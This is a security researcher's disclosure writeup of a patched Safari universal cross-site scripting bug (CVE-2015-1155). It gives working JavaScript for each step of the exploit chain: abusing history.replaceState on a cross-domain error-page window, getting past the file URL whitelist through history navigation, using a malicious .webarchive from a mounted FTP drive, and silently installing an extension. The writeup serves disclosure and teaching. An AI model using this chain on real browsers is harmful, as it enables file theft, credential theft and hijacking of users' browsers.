This is a writeup of a vulnerability I discovered in Mac OS X Safari 8.0.5 and earlier that allowed malicious websites to run Javascript under an arbitrary domain - a UXSS bug. A UXSS bug is a breakdown in Same Origin Policy - the fundamental security policy that keeps the data in your browser safe. UXSS bugs pop up a lot and it is good to know the scope of such a vulnerability, as this gives you a good idea of the trust boundaries at work within the Safari browser.
The bug
First, I’ll walk through the bug. It all stems from an error page - native error and warning pages in Safari are actually just file URLs: you can see this by browsing to some closed port like http://localhost:12345
, pulling up the debugger console, and running:
> window.location.href
< "file:///Applications/Safari.app/Contents/Resources/"
So error pages are hosted via a file URL. This is somewhat common (AOSP browser does/did this), and is not in itself wrong. However, it does allow an arbitrary website to gain a reference to a window in file://
. Although you can’t get a native Safari error page to show up in an embedded iframe, you can pop open a new window (by convincing the user to click anywhere on the page):
window.onclick = function() {
var fileWin = window.open('http://localhost:12345', '_blank');
}
The variable fileWin
now references a window that contains content belonging to a file://
URL. This is still not a problem, because Same Origin Policy should prevent us from accessing or injecting script into this cross-domain window. This is where the actual vulnerability occurs. Browsers allow cross-domain access to a restricted set of properties on a cross-domain window, including location
, postMessage
, and history
. For example:
> console.log(fileWin.history)
< [Object object]
> fileWin.history.replaceState({},{},'/');
SecurityError
So while we can access the history
object, we can’t access the pushState
or replaceState
property of that object. What if we tried calling the replaceState
function belonging to the current history
object on the cross-domain history
object?
history.replaceState.call(fileWin.history, {}, {}, 'file:///');
Nothing happens. This is because only the state
changed - a new page was not requested. Let’s try reloading the page:
history.replaceState.call(fileWin.history, {}, {}, 'file:///');
fileWin.location.reload();
And…
Safari has unexpectedly crashed.
Okay… After digging in a bit, it turns out Safari has some extra security around navigating a document to a file://
URL. Basically the browser maintains a whitelist of file://
URLs that it knows the user has explicitly browsed to and should be allowed. If the desired URL is not on the list, or is not in a subdirectory of a URL on the list, the browser crashes on an assertion. This is awesome news - it should prevent an attacker armed with the bug I had discovered from escalating things further.
Bypassing the URL whitelist
Except there turned out to be an exception in this whitelist - pages in the browser history that are navigated back to are allowed to be file://
URLs. This is to accomodate windows that are restored after Safari has been quit and restarted - these windows also restore their history state, and so may need to be able to navigate “back” to a file://
URL that the user had visited before quitting the session.
So, the full bypass:
history.replaceState.call(fileWin.history, {}, {}, 'file:///');
fileWin.location = 'about:blank';
fileWin.history.back();
This should pop open a Finder window pointing to /
. Because the root file:///
path now exists in the history, an attacker can navigate this window to any valid file URL.
Powers of a file:// URL in Safari
HTML documents served under a file://
URL have their own set of powers: they can read the contents of any file on the filesystem, and they can inject Javascript into arbitrary domains (UXSS). However, there is a major restriction: if the HTML document file has Apple’s Quarantine attribute (set automatically on download files and mounted filesystems), then it is run under a sandboxed context and has no special powers.
It took some time for me to think of a way to drop a file that could run with the normal file://
privileges. It turned out .webarchive files still have the usual ridiculous list of powers, regardless of the presence of the Quarantine attribute. By mounting an anonymous FTP drive containing a malicious .webarchive, an attacker could navigate the user’s browser to this privileged file.
Now that the attacker could read any file on the filesystem, and could inject script into any domain, where to go from there? Installing a Safari extension would be very useful - this would leave a permanent hook for the attacker in every interaction between the user and the browser. Safari users can install extensions directly from https://extensions.apple.com
, so I investigated what that API might look like. Turned out to be very simple:
safari.installExtension("https://data.getadblock.com/safari/AdBlock.safariextz", "com.betafish.adblockforsafari-UAMUU4S2D9");
The above line, when run under extensions.apple.com
, will silently install the AdBlock Safari extension. Using this same approach, an attacker could load extensions.apple.com
in a window, then abuse the powers of the malicious .webarchive file to inject script into this window that installed the extension of their choosing.
Disclosure
This vulnerability was allocated CVE-2015-1155
and was fixed by Apple in a May 2015 security update for versions Safari 8.0.5, 7.1.5, and 6.2.5. Apple’s disclosure can be found here.
Additionally I have submitted a Metasploit module for this vulnerability, which can be found here. The module demonstrates cookie database and SSH key theft, as well as silent extension installation.